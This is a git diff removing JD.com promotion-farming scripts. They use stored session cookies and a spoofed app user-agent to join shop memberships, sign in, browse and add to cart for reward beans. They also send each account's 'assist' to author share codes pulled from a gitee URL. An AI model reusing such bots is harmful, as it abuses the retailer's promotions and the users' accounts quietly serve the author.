task('taskact/common/drawContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) - await task('linkgame/checkOpenCard', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) - $.log("加入店铺会员") - if ($.openCardList) { - for (let i = 0; i < ($.openCardList.length); i++) { - $.log(">>> 模拟上报访问记录") - await task('crm/pageVisit/insertCrmPageVisit', `venderId=1000003005&pageId=llk20211015&elementId=入会跳转&pin=${encodeURIComponent($.secretPin)}`, 1) - await $.wait(2000) - } - - for (const vo of $.openCardList) { - $.log(`>>> 去加入${vo.name} ${vo.venderId}`) - if (vo.status === 0) { - await getShopOpenCardInfo({ "venderId": `${vo.venderId}`, "channel": "401" }, vo.venderId) - await bindWithVender({ "venderId": `${vo.venderId}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.venderId) - await $.wait(2000) - } else { - $.log(`>>> 已经是会员`) - } - - } - } else { - $.log("没有获取到对应的任务。\n") - } - await task('linkgame/checkOpenCard', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) - if ($.openCardStatus) { - console.log('去助力 -> ' + $.authorCode) - if ($.openCardStatus.allOpenCard) { - await task('linkgame/assist/status', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&shareUuid=${$.authorCode}`) - await task('linkgame/assist', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&shareUuid=${$.authorCode}`) - - } - } - await task('linkgame/help/list', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) - - await task('linkgame/task/info', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) - if ($.TaskList) { - tasklist = $.TaskList - if (!$.TaskList.sign) { - await task('linkgame/sign', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); - } else { - console.log("已完成签到") - } - if (!$.TaskList.visitSku) { - for (const vo of tasklist.visitSkuList) { - if (vo.status === 0) { - await task('linkgame/browseGoods', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&value=${vo.goodsCode}`) - } - } - } else { - console.log("已完成浏览任务"); - } - if (!$.TaskList.addCart) { - await task('linkgame/addCart', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); - } else { - console.log("加购任务已完成") - } - } - } - } -} - -function task(function_id, body, isCommon = 0, own = 0) { - return new Promise(resolve => { - $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - - if (data) { - data = JSON.parse(data); - if (data.result) { - switch (function_id) { - case 'dz/common/getSimpleActInfoVo': - $.jdActivityId = data.data.jdActivityId; - $.venderId = data.data.venderId; - $.activityType = data.data.activityType; - break; - case 'wxActionCommon/getUserInfo': - break; - case 'linkgame/activity/content': - if (!data.data.hasEnd) { - $.log(`开启【${data.data.activity['name']}】活动`) - $.log("-------------------") - if ($.index === 1) { - ownCode = data.data.actor['actorUuid'] - console.log(ownCode) - } - $.actorUuid = data.data.actor['actorUuid']; - } else { - $.log("活动已经结束"); - } - break; - case 'linkgame/checkOpenCard': - $.openCardList = data.data.openCardList; - $.openCardStatus = data.data; - // console.log(data) - break; - case 'linkgame/follow/shop': - console.log(data) - break; - case 'linkgame/sign': - console.log(data) - break; - case 'linkgame/addCart': - console.log(data) - break; - case 'linkgame/browseGoods': - console.log(data) - break; - case 'interaction/write/writePersonInfo': - console.log(data) - break; - case 'linkgame/task/info': - console.log(data) - break; - case 'linkgame/assist/status': - $.log(JSON.stringify(data)) - break; - case 'linkgame/assist': - $.log(JSON.stringify(data)) - break; - case 'linkgame/help/list': - $.log(JSON.stringify(data)) - break; - default: - // $.log(JSON.stringify(data)) - break; - } - } else { - // $.log(JSON.stringify(data)) - } - } else { - // $.log("京东没有返回数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function getShopOpenCardInfo(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.interestsRuleList) { - $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function bindWithVender(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.giftInfo && res.result.giftInfo.giftList) { - for (const vo of res.result.giftInfo.giftList) { - if (vo.prizeType === 4) { - $.log(`==>获得【${vo.quantity}】京豆`) - $.bean += vo.quantity - } - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} - -function getAuthorCodeList(url) { - return new Promise(resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - $.get(options, async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) data = JSON.parse(data) - } - } catch (e) { - $.logErr(e, resp) - data = null; - } finally { - resolve(data); - } - }) - }) -} - -function taskUrl(function_id, body, isCommon) { - return { - url: isCommon ? `https://lzdz1-isv.isvjcloud.com/${function_id}` : `https://lzdz1-isv.isvjcloud.com/dingzhi/${function_id}`, - headers: { - Host: 'lzdz1-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie - }, - body: body - - } -} - -function getMyPing() { - let opt = { - url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, - headers: { - Host: 'lzdz1-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie, - }, - body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (data) { - data = JSON.parse(data) - if (data.result) { - $.log(`你好:${data.data.nickname}`) - $.pin = data.data.nickname; - $.secretPin = data.data.secretPin; - cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` - } else { - $.log(data.errorMessage) - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - - }) - }) -} -function getFirstLZCK() { - return new Promise(resolve => { - $.get({ url: $.activityUrl }, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - }) -} -function getToken() { - let opt = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - headers: { - Host: 'api.m.jd.com', - 'Content-Type': 'application/x-www-form-urlencoded', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', - 'Accept-Language': 'zh-Hans-CN;q=1', - 'Accept-Encoding': 'gzip, deflate, br', - }, - body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.code === "0") { - $.token = data.token - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function random(min, max) { - - return Math.floor(Math.random() * (max - min)) + min; - -} -function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { - return format.replace(/[xy]/g, function (c) { - var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); - if (UpperCase) { - uuid = v.toString(36).toUpperCase(); - } else { - uuid = v.toString(36) - } - return uuid; - }); -} -function checkCookie() { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": "me-api.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br", - } - }; - return new Promise(resolve => { - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.retcode === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东返回了空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -// prettier-ignore -!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_lzdz1_huiju11.js b/backUp/jd_lzdz1_huiju11.js deleted file mode 100644 index f641d36..0000000 --- a/backUp/jd_lzdz1_huiju11.js +++ /dev/null @@ -1,598 +0,0 @@ -/* -惠聚11.11 好物乐享不停 -11.1 - 11.12 -https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity?activityId=dzlbklzmsk20211101A&shareUuid=b56485541148443bb2831bf6425645d5 - -默认执行脚本。如果需要不执行 -环境变量 NO_RUSH=false -*/ -const $ = new Env("惠聚11.11 好物乐享不停"); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = [], cookie = '', message = ''; -let ownCode = null; -let isRush = true; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - let cookiesData = $.getdata('CookiesJD') || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map(item => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter(item => !!item); -} -if (process.env.NO_RUSH && process.env.NO_RUSH != "") { - isRush = process.env.NO_RUSH; -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - - authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/dongge/raw/master/dongge/lzdz1_huanju11.json') - if(authorCodeList === '404: Not Found'){ - authorCodeList = [ - 'b56485541148443bb2831bf6425645d5', - ] - } - - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i] - originCookie = cookiesArr[i] - newCookie = '' - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await checkCookie(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || 